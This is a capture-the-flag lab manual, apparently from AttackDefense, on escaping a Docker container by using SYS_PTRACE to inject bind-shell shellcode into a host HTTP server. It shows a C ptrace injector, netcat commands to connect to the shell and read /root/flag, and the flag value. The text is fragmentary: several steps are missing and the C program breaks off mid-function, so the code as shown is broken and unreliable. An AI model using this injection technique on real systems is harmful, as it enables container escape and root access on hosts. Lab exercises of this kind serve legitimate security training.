Process Injection Lab Manual
Process Injection Lab Manual
URL https://attackdefense.com/challengedetails?cid=1198
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
Objective: Break out of the container by performing process injection on the HTTP server
running on the underlying host machine and retrieve the flag kept in the root directory of the
host system!
Solution:
The container has SYS_PTRACE capability. As a result, the container can debug processes.
Command: uname -m
The host machine is running 64 bit Linux.
The above shell code will trigger a BIND TCP Shell on port 5600.
Step 5: Write a program to inject BIND TCP shellcode into the running process.
The C program provided at the GitHub Link given below can be used to inject shellcode into a
running process.
The shellcode used in the above referenced C program will trigger a shell on the running
process. Replace the shellcode with the shellcode provided at the exploit db link referenced in
step 4.
Modified Program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 87
int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
Step 7: Execute the binary and pass it PID of HTTP server as an argument.
Command: ifconfig
The IP address of the docker container was 172.17.0.2, therefore the host machine will have IP
address 172.17.0.1
Step 9: Connect to the BIND shell with netcat and check the user id.
Commands:
nc 172.17.0.1 5600
id
Step 10: Retrieve the flag.
Commands:
find / -name flag 2>/dev/null
cat /root/flag
Flag: d8d38cda23b69585710698421c946e2b
References:
1. Docker (https://www.docker.com/)
2. Linux/x64 - Bind (5600/TCP) Shell Shellcode (87 bytes)
(https://www.exploit-db.com/exploits/41128)
3. Mem Inject (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)